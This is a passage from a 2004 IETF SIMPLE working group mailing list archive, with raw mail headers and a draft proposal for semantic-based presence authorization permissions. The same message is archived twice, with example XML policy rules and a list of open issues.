http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 04:29:30 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA17321
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 04:29:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dYI-0006uD-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 04:29:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0dXH-0006kM-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 04:28:29 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dWd-0006af-00; Tue, 09 Mar 2004 04:27:47 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0dVu-0005Cw-3h; Tue, 09 Mar 2004 04:27:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0dVI-0005Br-A0
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 04:26:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA17227
	for <simple@ietf.org>; Tue, 9 Mar 2004 04:26:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dVF-0006Px-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:26:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0dUJ-0006HH-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:25:24 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dU1-00068j-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:25:05 -0500
Received: from dynamicsoft.com ([63.113.46.35])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i299OlNr014793
	for <simple@ietf.org>; Tue, 9 Mar 2004 04:24:47 -0500 (EST)
Message-ID: <404D8D53.9030509@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Simple WG <simple@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] First draft of text on semantic-based authorization policies
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 04:24:35 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL,EXCUSE_3 autolearn=no 
	version=2.60
Content-Transfer-Encoding: 7bit

Folks,

During the SIMPLE meeting at IETF, we had a discussion about whether to 
move from the current syntactic based permissions (show-namespace, 
show-tuple, show-element) to semantic-based ones. I took an action item 
to write up proposed text within one week on how the semantic-based 
approach might look. Below is a first cut (in xml2rfc) at what such 
permissions might look like.

One thing that became clear to me in doing this is that certain 
transformations are easily expressed semantically, but nearly impossible 
syntactically. The "view" permission was one example. There are a bunch 
of open issues; mostly minor, all noted in the text. Comments on any and 
all of it are welcome. I'd like to get buy in (or lack thereof) of this 
general direction within the next week or two so I can integrate the 
text and submit a revision.

Thanks,
Jonathan R.


---
<section title="Transformations">

<t>
Each of the sections below defines a particular transformation that is
applied to the presence document before distribution.
</t>

<section titie="View">

<t>
The view transformation indicates the way in which the published
presence data is aggregated before being presented to the watcher. The
value of this element is an enumerated token with the following
values:
</t>

<list style="hanging">

<t hangText="presentity:">This token has a value of zero. It indicates
that the presence agent should aggregate the presence information for
the presentity into a single tuple. This tuple will contain a single
contact value that reaches the presentity. Because this causes
aggregation of data into a single tuple, it reveals the least amount
of information about a presentity, and thus has the value of zero.
</t>

<t hangText="service:">This token has a value of one. It indicates
that the presence agent should model the presentity as a sequence of
tuples, each representing a "service" by which the presentity can be
reached. Examples of services and how they are represented is
described in <xref target="I-D.roach-simple-service-features"/>.</t>

<t hangText="device:">This token has a value of two. It indicates that
the presence agent should model the presentity as a sequence of
tuples, each representing a "device" that can be used to contact the
user. Examples of devices are wireless phones, PC-based IM applications, 
PDAs
and standalone hard phones.</t>

</list>

<t>The values of the tokens have been chosen such that "presentity"
represents the greatest level of privacy, followed by "service", and
"device" represents the least. [[OPEN ISSUE: Should we space out the
values to allow for other types to be defined down the road?]]. [[OPEN
ISSUE: This permission will require roach-simple-service-features, or
the text present in it, to proceed. What are the plans for that?]].
</t>

<t>The default value of this permission is "presentity" or zero.</t>

</section>

<section title="Contact URI">

<t>
The "contact-uri" permission indicates whether or not the Contact URI
for tuples is presented to the watcher or not. This element has an
optional "class" attribute, which indicates the class of tuples for
which the permission applies. Absence of this attribute indicates that
the permission applies to all tuples. There can be multiple
"contact-uri" elements, but each of them MUST differ in the presence
and/or value of the "class" attribute.
</t>

<t>The "contact-uri" permission is of boolean type. A value of false
means that the Contact URI for the associated tuples is not to be
distributed to watchers. A value of true means that it is. By default,
the Contact URI for all tuples is distributed to watchers.
</t>

<t>
For the purposes of combining permissions, the contact-uri for each
class is treated as an independent variable. If there is a contact-uri
without a class attribute, this is modeled as N separate contact-uri
elements, one for each of the N tuple classes in the presence
document. Tuples that are not explicitly labeled with a class are
considered to belong to the same class, which we call the implicit
class.
</t>

<t>
For example, consider a presence document with three tuples. The first
one is labeled with a class of "friend", the second one is labeled
with a class of "work", and the third has no label. This document has
tuples in three classes - work, friend and implicit. When a watcher
subsribes to the presence of this presentity, two rules match:
</t>

<figure><artwork>
<![CDATA[
RULE 1
   <contact-uri class="friend">true</contact-uri>
   <contact-uri>false<contact-uri>

RULE 2
   <contact-uri class="work">true</contact-uri>

]]></artwork></figure></t>

<t>
To combine these permissions, the contact-uri in the first rule
without a class attribute is modeled as if it were three
contact-uris:</t>

<figure><artwork>
<![CDATA[
   <contact-uri class="friend">false</contact-uri>
   <contact-uri class="work">false<contact-uri>
   <contact-uri class="implict">false<contact-uri>
]]></artwork></figure></t>

<t>The contact-uri for each class is then treated as an independent
variable, and the standard combining rules are applied. There are two
instances of the contact-uri element for friends - one with a value of
true (from rule 1), and one with a value of false (from the expanded
classless contact-uri). These are combined to yield a value of
true. As a result, the contact in the tuple with class "friend" will
be shown to the watcher. There are two instances of the contact-uri
element for work - one with a value of true (from rule 2), and one
with a value of false (from the expanded classless contact-uri). These
are combined to yield a value of true. As a result, the contact in the
tuple with class "work" will be shown to the watcher. There is a
single instance of the contact-uri element for "implicit", with a
value of false (from the expanded classless contact-uri). As a result,
the contact in the tuple without a class label will not be shown to
the watcher.
</t>

<list style="indent"><t>
OPEN ISSUE: There is no way to define that a contact-uri applies to
all tuples without a class label. We could introduce that by defining
a special value of the class attribute, say "implicit". This would
cause problems if a presence document ever had a class label with the
actual value of "implicit". Another choice is to define another
attribute to the contact-uri element, say "implicit", which indicates
that it applies to implicit classes or not.
</t></list>

</section>

<section title="Activity">

<t>This permission controls access to the "activity" element defined
in <xref target="I-D.ietf-simple-rpid"/>. The name of the element is
"activity", and it is a boolean type. When true, it means that the
RPID activity is to be distributed to watchers, and when false, means
that it is to be withheld.
</t>

<t>
Like the "contact-uri" element, the "activity" element can have an
optional "class" attribute that defines which tuples the permission
applies to. Rules for composition are identical to those for
"contact-uri".
</t>

<t>
The default value for this permission is false.
</t>

</section>

<section title="Tuples by Class">

<t>
This permission controls access to tuples. It indicates which tuples
published into the presence agent will be used as an input to the
composition process. Tuples are selected by the value of their
"class" element. The "tuples-by-class" element has, as its content,
the name of a specific class which is to be used as input in the
composition process. There can be multiple instances of the
"tuples-by-class" element, each one indicating a different
class. [[OPEN ISSUE: Same issue as above on how to indicate tuples
that have no explicit class.]]. The result is that the
"tuples-by-class" element is a "set" data type.
</t>

<t>
The default value of this permission is "implicit", meaning that in
absence of specific instructions otherwise, only tuples without the
class label will be distributed to watchers.
</t>

<list style="indent"><t>
OPEN ISSUE: There are other reasonable chocies for this
default. Another choice is that all tuples, regardless of class, are
distributed.
</t></list>

</section>

<section title="Class">

<t>
This permission controls access to the "class" element within the PIDF
document. This is in contrast to the "tuples-by-class", which indicates
which tuples are passed to the watcher. This permission indicates
whether the RPID "class" element is passed to the watcher.
</t>

<t>
This permission is a boolean type. Its default is false, meaning that
the class element will normally be stripped from PIDF documents unless
the presentity instructs otherwise. The element can contain a "class"
attribute which indicates for which classes this permission
applies. The aggregation rules for this permission are identical to
those for "contact-uri".
</t>

</section>

<section title="Contact Type">

<t>
This permission, "contact-type" controls access to the "contact-type"
element within
the PIDF document. It is of boolean type. When true, the
"contact-type" element is passed to watchers. When false, it is
removed from the document. The default value is false.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

</section>

<section title="Idle">

<t>
This permission, "idle" controls access to the "idle"
element within
the PIDF document. It is an enumerated integer type. Its values are
"hide", with a value of zero, that indicates that the "idle" element
is to be removed from the presence document, "no-time", with a value
of one, that indicates that the "idle" element is to be passed on to
watchers, but without the specific duration for which the user has
been idle, and "full", with a value of two, that indicates that the
"idle" element is to be passed onto watchers, and should include a
specific duration if available.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

</section>

<section title="PlaceType">

<t>
This permission, "placetype" controls access to the "placetype"
element within
the PIDF document. It is of boolean type. When true, the
"placetype" element is passed to watchers. When false, it is
removed from the document. The default value is false.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

<list style="indent"><t>
OPEN ISSUE: Do we want any finer grained permissions than just whether
to include, or not include, placetype in the presence document?
</t></list>

</section>

<section title="Privacy">

<t>
This permission, "privacy" controls access to the "privacy"
element within
the PIDF document. It is of boolean type. When true, the
"privacy" element is passed to watchers. When false, it is
removed from the document. The default value is false.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

</section>

<section title="Relationship">

<t>
This permission, "relationship" controls access to the "relationship"
element within
the PIDF document. It is of boolean type. When true, the
"relationship" element is passed to watchers. When false, it is
removed from the document. The default value is false.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

</section>

<section title="Sphere">

<t>
This permission, "sphere" controls access to the "sphere"
element within
the PIDF document. It is of boolean type. When true, the
"sphere" element is passed to watchers. When false, it is
removed from the document. The default value is false.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

</section>

<section title="Example Document">

<figure><artwork>
<![CDATA[

<?xml version="1.0" encoding="UTF-8"?>
    <ruleset xmlns="urn:ietf:params:xml:ns:common-policy"
        xmlns:pres="urn:ietf:params:xml:ns:pres-policy">

      <rule id="f3g44r1">

        <conditions>
          <identity>
            <uri>bob@example.com</uri>
          </identity>
          <validity>
            <from>2003-12-24T17:00:00+01:00</from>
            <to>2003-12-24T19:00:00+01:00</to>
          </validity>
        </conditions>

        <actions>
          <confirmation>true</confirmation>
        </actions>

        <transformations>
          <pres:view>service</pres:view>
          <pres:activity>true</pres:activity>
          <pres:tuples-by-class>business</pres:tuples-by-class>
          <pres:tuples-by-class>work</pres:tuples-by-class>
          <pres:class class="work">true</pres:class>
          <pres:idle>no-time</pres:idle>
        </transformations>

      </rule>

    </ruleset>

]]></artwork></figure>

</section>

<section title="More Open Issues">

<list style="symbols">

<t>OPEN ISSUE: Is the naming of these permissions confusing? Each
permission has the same name as the PIDF/RPID element it controls
access to. Namespaces will make it clear which is which, but we could
use different names if it was confusing.
</t>

<t>OPEN ISSUE: Right now, the permissions apply to all tuples, or to
tuples selected by class. There is no other way to select which tuples
the permission applies to, except for class. We could extend the
attributes to allow for selection based on other thing - for example,
placetype or sphere. The aggregation process begins to get
complicated, however, and I'm not sure how to do it.
</t>

<t>OPEN ISSUE: Do we want a way to specify any syntactic-based
authorization policies, in order to allow the server to handle
permissions for new presence elements without simultaneously
supporting the permission schemas for those elements?
</t>

</list>

</section>

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 04:30:03 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA17363
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 04:30:03 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0dYN-0005Sc-59
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 04:29:35 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i299TZnt020987
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 04:29:35 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0dYM-0005SP-1J
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 04:29:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA17339
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 04:29:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dYJ-0006uI-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 04:29:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0dXJ-0006kT-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 04:28:31 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dWd-0006af-00; Tue, 09 Mar 2004 04:27:47 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0dVu-0005Cw-3h; Tue, 09 Mar 2004 04:27:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0dVI-0005Br-A0
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 04:26:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA17227
	for <simple@ietf.org>; Tue, 9 Mar 2004 04:26:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dVF-0006Px-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:26:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0dUJ-0006HH-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:25:24 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dU1-00068j-00
	for simple@ietf.org; Tue, 09 Mar 2004 04:25:05 -0500
Received: from dynamicsoft.com ([63.113.46.35])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i299OlNr014793
	for <simple@ietf.org>; Tue, 9 Mar 2004 04:24:47 -0500 (EST)
Message-ID: <404D8D53.9030509@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Simple WG <simple@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] First draft of text on semantic-based authorization policies
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 04:24:35 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL,EXCUSE_3 autolearn=no 
	version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Folks,

During the SIMPLE meeting at IETF, we had a discussion about whether to 
move from the current syntactic based permissions (show-namespace, 
show-tuple, show-element) to semantic-based ones. I took an action item 
to write up proposed text within one week on how the semantic-based 
approach might look. Below is a first cut (in xml2rfc) at what such 
permissions might look like.

One thing that became clear to me in doing this is that certain 
transformations are easily expressed semantically, but nearly impossible 
syntactically. The "view" permission was one example. There are a bunch 
of open issues; mostly minor, all noted in the text. Comments on any and 
all of it are welcome. I'd like to get buy in (or lack thereof) of this 
general direction within the next week or two so I can integrate the 
text and submit a revision.

Thanks,
Jonathan R.


---
<section title="Transformations">

<t>
Each of the sections below defines a particular transformation that is
applied to the presence document before distribution.
</t>

<section titie="View">

<t>
The view transformation indicates the way in which the published
presence data is aggregated before being presented to the watcher. The
value of this element is an enumerated token with the following
values:
</t>

<list style="hanging">

<t hangText="presentity:">This token has a value of zero. It indicates
that the presence agent should aggregate the presence information for
the presentity into a single tuple. This tuple will contain a single
contact value that reaches the presentity. Because this causes
aggregation of data into a single tuple, it reveals the least amount
of information about a presentity, and thus has the value of zero.
</t>

<t hangText="service:">This token has a value of one. It indicates
that the presence agent should model the presentity as a sequence of
tuples, each representing a "service" by which the presentity can be
reached. Examples of services and how they are represented is
described in <xref target="I-D.roach-simple-service-features"/>.</t>

<t hangText="device:">This token has a value of two. It indicates that
the presence agent should model the presentity as a sequence of
tuples, each representing a "device" that can be used to contact the
user. Examples of devices are wireless phones, PC-based IM applications, 
PDAs
and standalone hard phones.</t>

</list>

<t>The values of the tokens have been chosen such that "presentity"
represents the greatest level of privacy, followed by "service", and
"device" represents the least. [[OPEN ISSUE: Should we space out the
values to allow for other types to be defined down the road?]]. [[OPEN
ISSUE: This permission will require roach-simple-service-features, or
the text present in it, to proceed. What are the plans for that?]].
</t>

<t>The default value of this permission is "presentity" or zero.</t>

</section>

<section title="Contact URI">

<t>
The "contact-uri" permission indicates whether or not the Contact URI
for tuples is presented to the watcher or not. This element has an
optional "class" attribute, which indicates the class of tuples for
which the permission applies. Absence of this attribute indicates that
the permission applies to all tuples. There can be multiple
"contact-uri" elements, but each of them MUST differ in the presence
and/or value of the "class" attribute.
</t>

<t>The "contact-uri" permission is of boolean type. A value of false
means that the Contact URI for the associated tuples is not to be
distributed to watchers. A value of true means that it is. By default,
the Contact URI for all tuples is distributed to watchers.
</t>

<t>
For the purposes of combining permissions, the contact-uri for each
class is treated as an independent variable. If there is a contact-uri
without a class attribute, this is modeled as N separate contact-uri
elements, one for each of the N tuple classes in the presence
document. Tuples that are not explicitly labeled with a class are
considered to belong to the same class, which we call the implicit
class.
</t>

<t>
For example, consider a presence document with three tuples. The first
one is labeled with a class of "friend", the second one is labeled
with a class of "work", and the third has no label. This document has
tuples in three classes - work, friend and implicit. When a watcher
subsribes to the presence of this presentity, two rules match:
</t>

<figure><artwork>
<![CDATA[
RULE 1
   <contact-uri class="friend">true</contact-uri>
   <contact-uri>false<contact-uri>

RULE 2
   <contact-uri class="work">true</contact-uri>

]]></artwork></figure></t>

<t>
To combine these permissions, the contact-uri in the first rule
without a class attribute is modeled as if it were three
contact-uris:</t>

<figure><artwork>
<![CDATA[
   <contact-uri class="friend">false</contact-uri>
   <contact-uri class="work">false<contact-uri>
   <contact-uri class="implict">false<contact-uri>
]]></artwork></figure></t>

<t>The contact-uri for each class is then treated as an independent
variable, and the standard combining rules are applied. There are two
instances of the contact-uri element for friends - one with a value of
true (from rule 1), and one with a value of false (from the expanded
classless contact-uri). These are combined to yield a value of
true. As a result, the contact in the tuple with class "friend" will
be shown to the watcher. There are two instances of the contact-uri
element for work - one with a value of true (from rule 2), and one
with a value of false (from the expanded classless contact-uri). These
are combined to yield a value of true. As a result, the contact in the
tuple with class "work" will be shown to the watcher. There is a
single instance of the contact-uri element for "implicit", with a
value of false (from the expanded classless contact-uri). As a result,
the contact in the tuple without a class label will not be shown to
the watcher.
</t>

<list style="indent"><t>
OPEN ISSUE: There is no way to define that a contact-uri applies to
all tuples without a class label. We could introduce that by defining
a special value of the class attribute, say "implicit". This would
cause problems if a presence document ever had a class label with the
actual value of "implicit". Another choice is to define another
attribute to the contact-uri element, say "implicit", which indicates
that it applies to implicit classes or not.
</t></list>

</section>

<section title="Activity">

<t>This permission controls access to the "activity" element defined
in <xref target="I-D.ietf-simple-rpid"/>. The name of the element is
"activity", and it is a boolean type. When true, it means that the
RPID activity is to be distributed to watchers, and when false, means
that it is to be withheld.
</t>

<t>
Like the "contact-uri" element, the "activity" element can have an
optional "class" attribute that defines which tuples the permission
applies to. Rules for composition are identical to those for
"contact-uri".
</t>

<t>
The default value for this permission is false.
</t>

</section>

<section title="Tuples by Class">

<t>
This permission controls access to tuples. It indicates which tuples
published into the presence agent will be used as an input to the
composition process. Tuples are selected by the value of their
"class" element. The "tuples-by-class" element has, as its content,
the name of a specific class which is to be used as input in the
composition process. There can be multiple instances of the
"tuples-by-class" element, each one indicating a different
class. [[OPEN ISSUE: Same issue as above on how to indicate tuples
that have no explicit class.]]. The result is that the
"tuples-by-class" element is a "set" data type.
</t>

<t>
The default value of this permission is "implicit", meaning that in
absence of specific instructions otherwise, only tuples without the
class label will be distributed to watchers.
</t>

<list style="indent"><t>
OPEN ISSUE: There are other reasonable chocies for this
default. Another choice is that all tuples, regardless of class, are
distributed.
</t></list>

</section>

<section title="Class">

<t>
This permission controls access to the "class" element within the PIDF
document. This is in contrast to the "tuples-by-class", which indicates
which tuples are passed to the watcher. This permission indicates
whether the RPID "class" element is passed to the watcher.
</t>

<t>
This permission is a boolean type. Its default is false, meaning that
the class element will normally be stripped from PIDF documents unless
the presentity instructs otherwise. The element can contain a "class"
attribute which indicates for which classes this permission
applies. The aggregation rules for this permission are identical to
those for "contact-uri".
</t>

</section>

<section title="Contact Type">

<t>
This permission, "contact-type" controls access to the "contact-type"
element within
the PIDF document. It is of boolean type. When true, the
"contact-type" element is passed to watchers. When false, it is
removed from the document. The default value is false.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

</section>

<section title="Idle">

<t>
This permission, "idle" controls access to the "idle"
element within
the PIDF document. It is an enumerated integer type. Its values are
"hide", with a value of zero, that indicates that the "idle" element
is to be removed from the presence document, "no-time", with a value
of one, that indicates that the "idle" element is to be passed on to
watchers, but without the specific duration for which the user has
been idle, and "full", with a value of two, that indicates that the
"idle" element is to be passed onto watchers, and should include a
specific duration if available.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

</section>

<section title="PlaceType">

<t>
This permission, "placetype" controls access to the "placetype"
element within
the PIDF document. It is of boolean type. When true, the
"placetype" element is passed to watchers. When false, it is
removed from the document. The default value is false.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

<list style="indent"><t>
OPEN ISSUE: Do we want any finer grained permissions than just whether
to include, or not include, placetype in the presence document?
</t></list>

</section>

<section title="Privacy">

<t>
This permission, "privacy" controls access to the "privacy"
element within
the PIDF document. It is of boolean type. When true, the
"privacy" element is passed to watchers. When false, it is
removed from the document. The default value is false.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

</section>

<section title="Relationship">

<t>
This permission, "relationship" controls access to the "relationship"
element within
the PIDF document. It is of boolean type. When true, the
"relationship" element is passed to watchers. When false, it is
removed from the document. The default value is false.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

</section>

<section title="Sphere">

<t>
This permission, "sphere" controls access to the "sphere"
element within
the PIDF document. It is of boolean type. When true, the
"sphere" element is passed to watchers. When false, it is
removed from the document. The default value is false.
</t>

<t>
The element can contain a "class"
attribute which indicates for which tuples, based on their class, this
permission applies. The aggregation rules for this permission are
identical to those for "contact-uri".
</t>

</section>

<section title="Example Document">

<figure><artwork>
<![CDATA[

<?xml version="1.0" encoding="UTF-8"?>
    <ruleset xmlns="urn:ietf:params:xml:ns:common-policy"
        xmlns:pres="urn:ietf:params:xml:ns:pres-policy">

      <rule id="f3g44r1">

        <conditions>
          <identity>
            <uri>bob@example.com</uri>
          </identity>
          <validity>
            <from>2003-12-24T17:00:00+01:00</from>
            <to>2003-12-24T19:00:00+01:00</to>
          </validity>
        </conditions>

        <actions>
          <confirmation>true</confirmation>
        </actions>

        <transformations>
          <pres:view>service</pres:view>
          <pres:activity>true</pres:activity>
          <pres:tuples-by-class>business</pres:tuples-by-class>
          <pres:tuples-by-class>work</pres:tuples-by-class>
          <pres:class class="work">true</pres:class>
          <pres:idle>no-time</pres:idle>
        </transformations>

      </rule>

    </ruleset>

]]></artwork></figure>

</section>

<section title="More Open Issues">

<list style="symbols">

<t>OPEN ISSUE: Is the naming of these permissions confusing? Each
permission has the same name as the PIDF/RPID element it controls
access to. Namespaces will make it clear which is which, but we could
use different names if it was confusing.
</t>

<t>OPEN ISSUE: Right now, the permissions apply to all tuples, or to
tuples selected by class. There is no other way to select which tuples
the permission applies to, except for class. We could extend the
attributes to allow for selection based on other thing - for example,
placetype or sphere. The aggregation process begins to get
complicated, however, and I'm not sure how to do it.
</t>

<t>OPEN ISSUE: Do we want a way to specify any syntactic-based
authorization policies, in order to allow the server to handle
permissions for new presence elements without simultaneously
supporting the permission schemas for those elements?
</t>

</list>

</section>

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 04:53:24 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA18016
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 04:53:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0dvP-0002qf-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 04:53:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0duU-0002gm-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 04:52:27 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0duC-0002Xn-00; Tue, 09 Mar 2004 04:52:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0du7-0006SV-DD; Tue, 09 Mar 2004 04:52:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0dtW-0006Ra-Py
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 04:51:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
